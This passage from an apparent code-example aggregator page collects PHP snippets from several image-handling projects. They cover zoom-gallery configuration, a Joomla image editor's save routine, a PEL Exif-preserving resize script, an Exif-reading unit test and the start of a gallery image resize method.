                 $zoom['config']['smallImgSize'] = $this->axZm->imageSize($zoom['config']['thumbDir'] . $this->md5path($zoom['config']['orgImgName'], $zoom['config']['subfolderStructure']) . $zoom['config']['smallImgName'], $zoom['config']['im'], false);
             }
             $this->readTime['smallImgSizeDim'] = $this->endTimeDiff($startTime);
             if ($zoom['config']['imgFileOpt']['getFileSize']) {
                 $startTime = microtime(true);
                 $zoom['config']['smallFileSize'] = filesize($zoom['config']['thumbDir'] . $this->md5path($zoom['config']['orgImgName'], $zoom['config']['subfolderStructure']) . $zoom['config']['smallImgName']);
                 $this->readTime['smallImgFileSize'] = $this->endTimeDiff($startTime);
             }
             if (isset($_GET['setHW'])) {
                 echo "<script type=\"text/javascript\">";
                 echo "\r\n\t\t\t\t\tjQuery.axZm.iw=" . $this->ptj($zoom['config']['smallImgSize'][0]) . ";\r\n\t\t\t\t\tjQuery.axZm.ih=" . $this->ptj($zoom['config']['smallImgSize'][1]) . ";\r\n\t\t\t\t\t";
                 echo "</script>\r\n\t\t\t\t\t";
                 if (!is_bool($this->returnMakeFirstImage)) {
                     echo $this->returnMakeFirstImage;
                 }
             }
             if (!isset($_GET['str'])) {
                 if (!isset($_GET['setHW'])) {
                     $firstThumbSize = null;
                     $startTime = microtime(true);
                     foreach ($pic_list_array as $k => $v) {
                         $zoomTmp['smallImgNameTemp'] = $this->composeFileName($v, $zoom['config']['picDim'], '_', $this->pngMod($zoom));
                         if ($zoom['config']['imgFileOpt']['noMakeFirstImage']) {
                             $pic_list_data[$k]['thumbSize'] = $this->virtualResize($pic_list_data[$k]['imgSize'], array($zoom['config']['picX'], $zoom['config']['picY']));
                         } else {
                             if (file_exists($zoom['config']['thumbDir'] . $this->md5path($v, $zoom['config']['subfolderStructure']) . $zoomTmp['smallImgNameTemp'])) {
                                 if ($firstThumbSize && ($zoom['config']['imgFileOpt']['sameAspectRatio'] || $zoom['config']['imgFileOpt']['sameSize'] || $zoom['config']['spinMod'])) {
                                     $pic_list_data[$k]['thumbSize'] = $firstThumbSize;
                                 } else {
                                     $pic_list_data[$k]['thumbSize'] = $this->axZm->imageSize($zoom['config']['thumbDir'] . $this->md5path($v, $zoom['config']['subfolderStructure']) . $zoomTmp['smallImgNameTemp'], $zoom['config']['im'], false);
                                 }
                                 if (!$firstThumbSize) {
                                     $firstThumbSize = $pic_list_data[$k]['thumbSize'];
                                 }
                             } else {
                                 $pic_list_data[$k]['thumbSize'] = false;
                             }
                         }
                     }
                     $this->readTime['smallImgSizeDimAll'] = $this->endTimeDiff($startTime);
                     $zoom['config']['pic_list_data'] = $pic_list_data;
                     if ((!isset($zoom['config']['galleryNoThumbs']) || $zoom['config']['galleryNoThumbs'] === false) && !$zoom['config']['imgFileOpt']['noMakeAllThumbs']) {
                         if ($imageSlicer['enabled']) {
                             $slicerPostThumbsArr = array('task' => 'makeAllThumbs', 'zoomID' => $_GET['zoomID'], 'example' => $_GET['example'], 'pic' => $zoom['config']['pic'], 'pic_list_data' => serialize($pic_list_data), 'pic_list_array' => serialize($pic_list_array));
                             if (!empty($imageSlicer['parameters'])) {
                                 foreach ($imageSlicer['parameters'] as $a => $b) {
                                     if (isset($_GET[$b])) {
                                         $slicerPostThumbsArr[$b] = $_GET[$b];
                                     }
                                 }
                             }
                             $this->returnMakeAllThumbs = $this->httpRequestQuery($imageSlicer['method'], $imageSlicer['host'], $imageSlicer['port'], $imageSlicer['uri'], $imageSlicer['timeout'], $imageSlicer['method'] == 'GET' ? $slicerPostThumbsArr : array(), $imageSlicer['method'] == 'POST' ? $slicerPostThumbsArr : array(), $imageSlicer['headers']);
                         } else {
                             $startTime = microtime(true);
                             $this->returnMakeAllThumbs = $this->axZm->makeAllThumbs($zoom);
                             $this->readTime['makeAllThumbs'] = $this->endTimeDiff($startTime);
                         }
                     } else {
                         $this->returnMakeAllThumbs = false;
                     }
                 }
                 if ($zoom['config']['gPyramid'] && $zoom['config']['gPyramidDir']) {
                     $startTime = microtime(true);
                     if (!$zoom['config']['imgFileOpt']['noMakeGpyramid']) {
                         $zoomTmp['gPyramidPicDir'] = $zoom['config']['gPyramidDir'] . $this->md5path($zoom['config']['orgImgName'], $zoom['config']['subfolderStructure']) . $this->getf('.', $zoom['config']['orgImgName']);
                         $zoomTmp['gPyramidPicDirExists'] = is_dir($zoomTmp['gPyramidPicDir']);
                         if (!$zoomTmp['gPyramidPicDirExists']) {
                             if ($imageSlicer['enabled']) {
                                 $slicerPostArr['task'] = 'gPyramid';
                                 $this->returnMakeZoomTiles = $this->httpRequestQuery($imageSlicer['method'], $imageSlicer['host'], $imageSlicer['port'], $imageSlicer['uri'], $imageSlicer['timeout'], $imageSlicer['method'] == 'GET' ? $slicerPostArr : array(), $imageSlicer['method'] == 'POST' ? $slicerPostArr : array(), $imageSlicer['headers']);
                             } else {
                                 $this->returnMakeZoomTiles = $this->axZm->gPyramid($zoom);
                             }
                             if (isset($_GET['setHW']) && !is_bool($this->returnMakeZoomTiles)) {
                                 echo $this->returnMakeZoomTiles;
                             }
                         }
                     }
                     $this->readTime['gPyramid'] = $this->endTimeDiff($startTime);
                 }
                 if ($zoom['config']['pyrTiles'] && $zoom['config']['pyrTilesDir']) {
                     $startTime = microtime(true);
                     if (!$zoom['config']['imgFileOpt']['noMakeZoomTiles'] && ($zoom['config']['orgImgSize'][0] >= $zoom['config']['tileSize'] || $zoom['config']['orgImgSize'][1] >= $zoom['config']['tileSize'])) {
                         $this->returnMakeZoomTiles = $this->axZm->zC($zoom, false);
                         if (!$zoom['config']['imgFileOpt']['noMakeZoomTiles'] && !$this->tileExists($zoom, $zoom['config']['orgImgName'])) {
                             if ($imageSlicer['enabled']) {
                                 $slicerPostArr['task'] = 'makeZoomTiles';
                                 $this->returnMakeZoomTiles = $this->httpRequestQuery($imageSlicer['method'], $imageSlicer['host'], $imageSlicer['port'], $imageSlicer['uri'], $imageSlicer['timeout'], $imageSlicer['method'] == 'GET' ? $slicerPostArr : array(), $imageSlicer['method'] == 'POST' ? $slicerPostArr : array(), $imageSlicer['headers']);
                             } else {
                                 $this->returnMakeZoomTiles = $this->axZm->makeZoomTiles($zoom);
                             }
                         }
                         if (isset($_GET['setHW']) && !is_bool($this->returnMakeZoomTiles) && $this->returnMakeZoomTiles) {
                             echo $this->returnMakeZoomTiles;
                         }
                     }
                     $this->readTime['makeZoomTiles'] = $this->endTimeDiff($startTime);
                 }
                 if (!isset($_GET['setHW'])) {
                     $startTime = microtime(true);
                     foreach ($pic_list_data as $k => $v) {
                         $zoom['config']['galArray'][$k]['img'] = $v['fileName'];
                         $zoom['config']['galArray'][$k]['ow'] = $v['imgSize'][0];
                         $zoom['config']['galArray'][$k]['oh'] = $v['imgSize'][1];
                         $zoom['config']['galArray'][$k]['iw'] = $v['thumbSize'][0];
                         $zoom['config']['galArray'][$k]['ih'] = $v['thumbSize'][1];
                         $zoom['config']['galArray'][$k]['tD'] = $v['thumbDescr'];
                         $zoom['config']['galArray'][$k]['fD'] = $v['fullDescr'];
                         $zoom['config']['galArray'][$k]['mf'] = false;
                         $zoom['config']['galArray'][$k]['mk'] = false;
                         if ($zoom['config']['useMap'] && !$zoom['config']['imgFileOpt']['noMakeMapImage'] && $zoom['config']['mapOwnImage'] && $zoom['config']['mapDir']) {
                             $ownImageSize = explode('x', $zoom['config']['mapOwnImage']);
                             $ownImageName = $this->composeFileName($v['fileName'], $ownImageSize[0] . 'x' . $ownImageSize[1], '_', $this->pngMod($zoom));
                             if (!file_exists($zoom['config']['mapDir'] . $this->md5path($v['fileName'], $zoom['config']['subfolderStructure']) . $ownImageName)) {
                                 $zoom['config']['galArray'][$k]['mf'] = true;
                             }
                         }
                         if ($zoom['config']['stepPicDim'] && !$zoom['config']['imgFileOpt']['noMakeFirstImage'] && is_array($zoom['config']['stepPicDim']) && !empty($zoom['config']['stepPicDim'])) {
                             foreach ($zoom['config']['stepPicDim'] as $a => $b) {
                                 if ((int) $b['w'] && (int) $b['h'] && !file_exists($zoom['config']['thumbDir'] . $this->md5path($v['fileName'], $zoom['config']['subfolderStructure']) . $this->composeFileName($v['fileName'], (int) $b['w'] . 'x' . (int) $b['h'], '_', $this->pngMod($zoom)))) {
                                     $zoom['config']['galArray'][$k]['mf'] = true;
                                     break;
                                 }
                             }
                         }
                         if (isset($v['path'])) {
                             $zoom['config']['galArray'][$k]['ph'] = $this->checkSlash($v['picPath'], 'add');
                         }
                         if ($zoom['config']['gPyramid'] && !$zoom['config']['imgFileOpt']['noMakeGpyramid']) {
                             if (is_dir($zoom['config']['gPyramidDir'] . $this->md5path($v['fileName'], $zoom['config']['subfolderStructure']) . $this->getf('.', $v['fileName']))) {
                                 $zoom['config']['galArray'][$k]['mk'] = false;
                             } else {
                                 $zoom['config']['galArray'][$k]['mk'] = 'gP';
                             }
                         } elseif ($zoom['config']['pyrTiles'] && !$zoom['config']['imgFileOpt']['noMakeZoomTiles']) {
                             if ($v['imgSize'][0] < $zoom['config']['tileSize'] && $v['imgSize'][1] < $zoom['config']['tileSize'] || $this->tileExists($zoom, $v['fileName'])) {
                                 $zoom['config']['galArray'][$k]['mk'] = false;
                                 if ($zoom['config']['pyrAutoDetect']) {
                                     $zoom['config']['galArray'][$k]['ts'] = $this->getTileSize($zoom, $v['fileName']);
                                 }
                             } else {
                                 $zoom['config']['galArray'][$k]['mk'] = 'tL';
                             }
                         }
                     }
                     $this->readTime['galleryData'] = $this->endTimeDiff($startTime);
                 }
             }
             if (isset($pic_list_data[$_GET['zoomID']]['path'])) {
                 $zoom['config']['pic'] = $this->checkSlash($zoom['config']['pic'] . '/' . $pic_list_data[$_GET['zoomID']]['path'], 'add');
             }
         }
     } else {
         unset($_GET['zoomID']);
     }
     $this->readTime['pyrAutoDetect'] = $zoom['config']['pyrAutoDetect'];
     $this->readTime['imgFileOpt'] = $zoom['config']['imgFileOpt'];
     return array($zoom, $zoomTmp);
 }
示例#27
0
 public function saveEdit($file, $name, $options = array(), $quality = 100)
 {
     // Check for request forgeries
     WFToken::checkToken() or die('Access to this resource is restricted');
     // check for image editor access
     if ($this->checkAccess('image_editor', 1) === false) {
         JError::raiseError(403, 'Access to this resource is restricted');
     }
     $browser = $this->getBrowser();
     $filesystem = $browser->getFileSystem();
     // check file
     self::validateImagePath($file);
     // clean temp
     $this->cleanEditorTmp($file, false);
     // check new name
     self::validateImagePath($name);
     $upload = JRequest::getVar('file', '', 'files', 'array');
     // create a filesystem result object
     $result = new WFFileSystemResult();
     if (isset($upload) && isset($upload['tmp_name']) && is_uploaded_file($upload['tmp_name'])) {
         $tmp = $upload['tmp_name'];
         self::validateImageFile($tmp);
         $exif = null;
         // get exif data from orignal file
         if (preg_match('#\\.jp(eg|g)$#i', basename($file)) && basename($file) == basename($name)) {
             // load exif classes
             require_once dirname(__FILE__) . '/pel/PelJpeg.php';
             $src = WFUtility::makePath($filesystem->getBaseDir(), $file);
             $jpeg = new PelJpeg($src);
             $exif = $jpeg->getExif();
         }
         $result = $filesystem->upload('multipart', trim($tmp), dirname($file), basename($name));
         if ($result->state === true && $exif) {
             $pel = new PelDataWindow($result->path);
             if (PelJpeg::isValid($pel)) {
                 $jpeg = new PelJpeg();
                 $jpeg->load($pel);
                 $jpeg->setExif($exif);
                 //$jpeg->saveFile($result->path);
                 // write to file
                 JFile::write($result->path, $jpeg->getBytes());
             }
         }
         @unlink($tmp);
     } else {
         // set upload as false - JSON request
         $upload = false;
         $file = WFUtility::makePath($filesystem->getBaseDir(), $file);
         $dest = dirname($file) . '/' . basename($name);
         // get extension
         $ext = WFUtility::getExtension($dest);
         // load image class
         require_once dirname(__FILE__) . '/image/image.php';
         // create image
         $image = new WFImage($file, $this->getParam('prefer_imagick', true));
         foreach ($options as $filter) {
             if (isset($filter->task)) {
                 $args = isset($filter->args) ? (array) $filter->args : array();
                 switch ($filter->task) {
                     case 'resize':
                         $w = $args[0];
                         $h = $args[1];
                         $image->resize($w, $h);
                         break;
                     case 'crop':
                         $w = $args[0];
                         $h = $args[1];
                         $x = $args[2];
                         $y = $args[3];
                         $image->crop($w, $h, $x, $y);
                         break;
                     case 'rotate':
                         $image->rotate(array_shift($args));
                         break;
                     case 'flip':
                         $image->flip(array_shift($args));
                         break;
                     default:
                         $image->filter($filter->task, $args);
                         break;
                 }
             }
         }
         // get image data
         $data = $image->toString($ext);
         // write to file
         if ($data) {
             $result->state = (bool) @JFile::write($dest, $data);
         }
         // set path
         $result->path = $dest;
     }
     if ($result->state === true) {
         // check if its a valid image
         if (@getimagesize($result->path) === false) {
             JFile::delete($result->path);
             throw new InvalidArgumentException('Invalid image file');
         } else {
             $result->path = str_replace(WFUtility::cleanPath(JPATH_SITE), '', $result->path);
             $browser->setResult(WFUtility::cleanPath($result->path, '/'), 'files');
         }
     } else {
         $browser->setResult($result->message || WFText::_('WF_IMGMANAGER_EXT_EDIT_SAVE_ERROR'), 'error');
     }
     // set header and exit
     if ($upload) {
         header("Expires: Wed, 4 Apr 1984 13:00:00 GMT");
         header("Last-Modified: " . gmdate("D, d M_Y H:i:s") . " GMT");
         header("Cache-Control: no-store, no-cache, must-revalidate");
         header("Cache-Control: post-check=0, pre-check=0", false);
         header("Pragma: no-cache");
         die(json_encode($browser->getResult()));
     }
     // return to WFRequest
     return $browser->getResult();
 }
示例#28
0
    println('  input   the input filename, a JPEG image.');
    println('  output  filename for saving the changed image.');
    println('  scale   scale factor, say 0.5 to resize to half the ' . 'original size.');
    exit(1);
}
/* The input file is now loaded into a PelJpeg object. */
println('Reading file "%s".', $input);
$input_jpeg = new PelJpeg($input);
/* The input image is already loaded, so we can reuse the bytes stored
 * in $input_jpeg when creating the Image resource. */
$original = ImageCreateFromString($input_jpeg->getBytes());
$original_w = ImagesX($original);
$original_h = ImagesY($original);
$scaled_w = $original_w * $scale;
$scaled_h = $original_h * $scale;
/* Now create the scaled image. */
$scaled = ImageCreateTrueColor($scaled_w, $scaled_h);
ImageCopyResampled($scaled, $original, 0, 0, 0, 0, $scaled_w, $scaled_h, $original_w, $original_h);
/* We want the raw JPEG data from $scaled. Luckily, one can create a
 * PelJpeg object from an image resource directly: */
$output_jpeg = new PelJpeg($scaled);
/* Retrieve the original Exif data in $jpeg (if any). */
$exif = $input_jpeg->getExif();
/* If no Exif data was present, then $exif is null. */
if ($exif != null) {
    $output_jpeg->setExif($exif);
}
/* We can now save the scaled image. */
println('Writing file "%s".', $output);
file_put_contents($output, $output_jpeg->getBytes());
/* The End. */
示例#29
0
    function testRead()
    {
        Pel::clearExceptions();
        Pel::setStrictParsing(false);
        $jpeg = new PelJpeg(dirname(__FILE__) . '/canon-ixus-ii.jpg');
        $exif = $jpeg->getExif();
        $this->assertIsA($exif, 'PelExif');
        $tiff = $exif->getTiff();
        $this->assertIsA($tiff, 'PelTiff');
        /* The first IFD. */
        $ifd0 = $tiff->getIfd();
        $this->assertIsA($ifd0, 'PelIfd');
        /* Start of IDF $ifd0. */
        $this->assertEqual(count($ifd0->getEntries()), 8);
        $entry = $ifd0->getEntry(271);
        // Make
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'Canon');
        $this->assertEqual($entry->getText(), 'Canon');
        $entry = $ifd0->getEntry(272);
        // Model
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'Canon DIGITAL IXUS II');
        $this->assertEqual($entry->getText(), 'Canon DIGITAL IXUS II');
        $entry = $ifd0->getEntry(274);
        // Orientation
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 6);
        $this->assertEqual($entry->getText(), 'right - top');
        $entry = $ifd0->getEntry(282);
        // XResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 180, 1 => 1));
        $this->assertEqual($entry->getText(), '180/1');
        $entry = $ifd0->getEntry(283);
        // YResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 180, 1 => 1));
        $this->assertEqual($entry->getText(), '180/1');
        $entry = $ifd0->getEntry(296);
        // ResolutionUnit
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Inch');
        $entry = $ifd0->getEntry(306);
        // DateTime
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), 1089488628);
        $this->assertEqual($entry->getText(), '2004:07:10 19:43:48');
        $entry = $ifd0->getEntry(531);
        // YCbCrPositioning
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'centered');
        /* Sub IFDs of $ifd0. */
        $this->assertEqual(count($ifd0->getSubIfds()), 1);
        $ifd0_0 = $ifd0->getSubIfd(2);
        // IFD Exif
        $this->assertIsA($ifd0_0, 'PelIfd');
        /* Start of IDF $ifd0_0. */
        $this->assertEqual(count($ifd0_0->getEntries()), 30);
        $entry = $ifd0_0->getEntry(33434);
        // ExposureTime
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 1, 1 => 30));
        $this->assertEqual($entry->getText(), '1/30 sec.');
        $entry = $ifd0_0->getEntry(33437);
        // FNumber
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 32, 1 => 10));
        $this->assertEqual($entry->getText(), 'f/3.2');
        $entry = $ifd0_0->getEntry(36864);
        // ExifVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 2.2);
        $this->assertEqual($entry->getText(), 'Exif Version 2.2');
        $entry = $ifd0_0->getEntry(36867);
        // DateTimeOriginal
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), 1089488628);
        $this->assertEqual($entry->getText(), '2004:07:10 19:43:48');
        $entry = $ifd0_0->getEntry(36868);
        // DateTimeDigitized
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), 1089488628);
        $this->assertEqual($entry->getText(), '2004:07:10 19:43:48');
        $entry = $ifd0_0->getEntry(37121);
        // ComponentsConfiguration
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '');
        $this->assertEqual($entry->getText(), 'Y Cb Cr -');
        $entry = $ifd0_0->getEntry(37122);
        // CompressedBitsPerPixel
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 2, 1 => 1));
        $this->assertEqual($entry->getText(), '2/1');
        $entry = $ifd0_0->getEntry(37377);
        // ShutterSpeedValue
        $this->assertIsA($entry, 'PelEntrySRational');
        $this->assertEqual($entry->getValue(), array(0 => 157, 1 => 32));
        $this->assertEqual($entry->getText(), '157/32 sec. (APEX: 5)');
        $entry = $ifd0_0->getEntry(37378);
        // ApertureValue
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 107, 1 => 32));
        $this->assertEqual($entry->getText(), 'f/3.2');
        $entry = $ifd0_0->getEntry(37380);
        // ExposureBiasValue
        $this->assertIsA($entry, 'PelEntrySRational');
        $this->assertEqual($entry->getValue(), array(0 => -1, 1 => 3));
        $this->assertEqual($entry->getText(), '-0.3');
        $entry = $ifd0_0->getEntry(37381);
        // MaxApertureValue
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 107, 1 => 32));
        $this->assertEqual($entry->getText(), '107/32');
        $entry = $ifd0_0->getEntry(37383);
        // MeteringMode
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 5);
        $this->assertEqual($entry->getText(), 'Pattern');
        $entry = $ifd0_0->getEntry(37385);
        // Flash
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 16);
        $this->assertEqual($entry->getText(), 'Flash did not fire, compulsory flash mode.');
        $entry = $ifd0_0->getEntry(37386);
        // FocalLength
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 215, 1 => 32));
        $this->assertEqual($entry->getText(), '6.7 mm');
        $entry = $ifd0_0->getEntry(37500);
        // MakerNote
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '.\\��"� X `�|W	 �#
"�\\@��Z� j�������D��k���6j��+		��q*��r��r��r������000IMG:DIGITAL IXUS II JPEGFirmware Version 1.00D	���������@��
��
 m���l');
        $this->assertEqual($entry->getText(), '590 bytes unknown MakerNote data');
        $entry = $ifd0_0->getEntry(37510);
        // UserComment
        $this->assertIsA($entry, 'PelEntryUserComment');
        $this->assertEqual($entry->getValue(), '');
        $this->assertEqual($entry->getText(), '');
        $entry = $ifd0_0->getEntry(40960);
        // FlashPixVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'FlashPix Version 1.0');
        $entry = $ifd0_0->getEntry(40961);
        // ColorSpace
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'sRGB');
        $entry = $ifd0_0->getEntry(40962);
        // PixelXDimension
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 640);
        $this->assertEqual($entry->getText(), '640');
        $entry = $ifd0_0->getEntry(40963);
        // PixelYDimension
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 480);
        $this->assertEqual($entry->getText(), '480');
        $entry = $ifd0_0->getEntry(41486);
        // FocalPlaneXResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 640000, 1 => 208));
        $this->assertEqual($entry->getText(), '640000/208');
        $entry = $ifd0_0->getEntry(41487);
        // FocalPlaneYResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 480000, 1 => 156));
        $this->assertEqual($entry->getText(), '480000/156');
        $entry = $ifd0_0->getEntry(41488);
        // FocalPlaneResolutionUnit
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Inch');
        $entry = $ifd0_0->getEntry(41495);
        // SensingMethod
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'One-chip color area sensor');
        $entry = $ifd0_0->getEntry(41728);
        // FileSource
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '');
        $this->assertEqual($entry->getText(), 'DSC');
        $entry = $ifd0_0->getEntry(41985);
        // CustomRendered
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal process');
        $entry = $ifd0_0->getEntry(41986);
        // ExposureMode
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'Manual exposure');
        $entry = $ifd0_0->getEntry(41987);
        // WhiteBalance
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'Manual white balance');
        $entry = $ifd0_0->getEntry(41988);
        // DigitalZoomRatio
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 2048, 1 => 2048));
        $this->assertEqual($entry->getText(), '2048/2048');
        $entry = $ifd0_0->getEntry(41990);
        // SceneCaptureType
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Standard');
        /* Sub IFDs of $ifd0_0. */
        $this->assertEqual(count($ifd0_0->getSubIfds()), 1);
        $ifd0_0_0 = $ifd0_0->getSubIfd(4);
        // IFD Interoperability
        $this->assertIsA($ifd0_0_0, 'PelIfd');
        /* Start of IDF $ifd0_0_0. */
        $this->assertEqual(count($ifd0_0_0->getEntries()), 4);
        $entry = $ifd0_0_0->getEntry(1);
        // InteroperabilityIndex
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'R98');
        $this->assertEqual($entry->getText(), 'R98');
        $entry = $ifd0_0_0->getEntry(2);
        // InteroperabilityVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'Interoperability Version 1.0');
        $entry = $ifd0_0_0->getEntry(4097);
        // RelatedImageWidth
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 640);
        $this->assertEqual($entry->getText(), '640');
        $entry = $ifd0_0_0->getEntry(4098);
        // RelatedImageLength
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 480);
        $this->assertEqual($entry->getText(), '480');
        /* Sub IFDs of $ifd0_0_0. */
        $this->assertEqual(count($ifd0_0_0->getSubIfds()), 0);
        $this->assertEqual($ifd0_0_0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd0_0_1 = $ifd0_0_0->getNextIfd();
        $this->assertNull($ifd0_0_1);
        /* End of IFD $ifd0_0_0. */
        $this->assertEqual($ifd0_0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd0_1 = $ifd0_0->getNextIfd();
        $this->assertNull($ifd0_1);
        /* End of IFD $ifd0_0. */
        $this->assertEqual($ifd0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd1 = $ifd0->getNextIfd();
        $this->assertIsA($ifd1, 'PelIfd');
        /* End of IFD $ifd0. */
        /* Start of IDF $ifd1. */
        $this->assertEqual(count($ifd1->getEntries()), 4);
        $entry = $ifd1->getEntry(259);
        // Compression
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 6);
        $this->assertEqual($entry->getText(), 'JPEG compression');
        $entry = $ifd1->getEntry(282);
        // XResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 180, 1 => 1));
        $this->assertEqual($entry->getText(), '180/1');
        $entry = $ifd1->getEntry(283);
        // YResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 180, 1 => 1));
        $this->assertEqual($entry->getText(), '180/1');
        $entry = $ifd1->getEntry(296);
        // ResolutionUnit
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Inch');
        /* Sub IFDs of $ifd1. */
        $this->assertEqual(count($ifd1->getSubIfds()), 0);
        $thumb_data = file_get_contents(dirname(__FILE__) . '/canon-ixus-ii-thumb.jpg');
        $this->assertEqual($ifd1->getThumbnailData(), $thumb_data);
        /* Next IFD. */
        $ifd2 = $ifd1->getNextIfd();
        $this->assertNull($ifd2);
        /* End of IFD $ifd1. */
        $this->assertTrue(count(Pel::getExceptions()) == 0);
示例#30
0
 /**
  * This method calculates the image and delivers it to the client.
  *
  * @param $folder
  * @param $file
  * @param $width
  * @param $height
  * @param $mode
  */
 public function resize($folder, $file, $width = -1, $height = -1, $mode = 'nocrop')
 {
     $jpeg_orientation_translation = array(1 => 0, 2 => 0, 3 => 180, 4 => 0, 5 => 0, 6 => -90, 7 => 0, 8 => 90);
     /**
      * @var JApplicationSite $app
      */
     $app = JFactory::getApplication();
     $params = $app->getParams();
     if (strcmp($mode, 'full') == 0) {
         $mode = 'nocrop';
         $width = COM_EVENTGALLERY_IMAGE_ORIGINAL_MAX_WIDTH;
         $height = COM_EVENTGALLERY_IMAGE_ORIGINAL_MAX_WIDTH;
     }
     if ($height > $width) {
         $width = $height;
     }
     $sizeSet = new EventgalleryHelpersSizeset();
     $saveAsSize = $sizeSet->getMatchingSize($width);
     $file = STR_REPLACE("\\.\\.", "", $file);
     $folder = STR_REPLACE("\\.\\.", "", $folder);
     $width = STR_REPLACE("\\.\\.", "", $width);
     $mode = STR_REPLACE("\\.\\.", "", $mode);
     $file = STR_REPLACE("/", "", $file);
     $folder = STR_REPLACE("/", "", $folder);
     $width = STR_REPLACE("/", "", $width);
     $mode = STR_REPLACE("/", "", $mode);
     $file = STR_REPLACE("\\", "", $file);
     $folder = STR_REPLACE("\\", "", $folder);
     $width = STR_REPLACE("\\", "", $width);
     $mode = STR_REPLACE("\\", "", $mode);
     $basedir = COM_EVENTGALLERY_IMAGE_FOLDER_PATH;
     $sourcedir = $basedir . $folder;
     $cachebasedir = COM_EVENTGALLERY_IMAGE_CACHE_PATH;
     $cachedir = $cachebasedir . $folder;
     $cachedir_thumbs = $cachebasedir . $folder;
     if (!is_dir(JPATH_CACHE)) {
         //mkdir($cachebasedir, 0777);
         mkdir(JPATH_CACHE);
     }
     if (!is_dir($cachebasedir)) {
         //mkdir($cachebasedir, 0777);
         mkdir($cachebasedir);
     }
     if (!is_dir($cachedir)) {
         //mkdir($cachedir, 0777);
         mkdir($cachedir);
     }
     if (!is_dir($cachedir_thumbs)) {
         //mkdir($cachedir_thumbs, 0777);
         mkdir($cachedir_thumbs);
     }
     $image_file = $sourcedir . DIRECTORY_SEPARATOR . $file;
     $image_thumb_file = $cachedir_thumbs . DIRECTORY_SEPARATOR . $mode . $saveAsSize . $file;
     //$last_modified = gmdate('D, d M Y H:i:s T', filemtime ($image_file));
     $last_modified = gmdate('D, d M Y H:i:s T', mktime(0, 0, 0, 1, 1, 2100));
     #echo "<br>".$image_thumb_file."<br>";
     $debug = false;
     if ($debug || !file_exists($image_thumb_file)) {
         $ext = pathinfo($image_file, PATHINFO_EXTENSION);
         $input_jpeg = null;
         $exif = null;
         if (strtolower($ext) == "gif") {
             if (!($im_original = imagecreatefromgif($image_file))) {
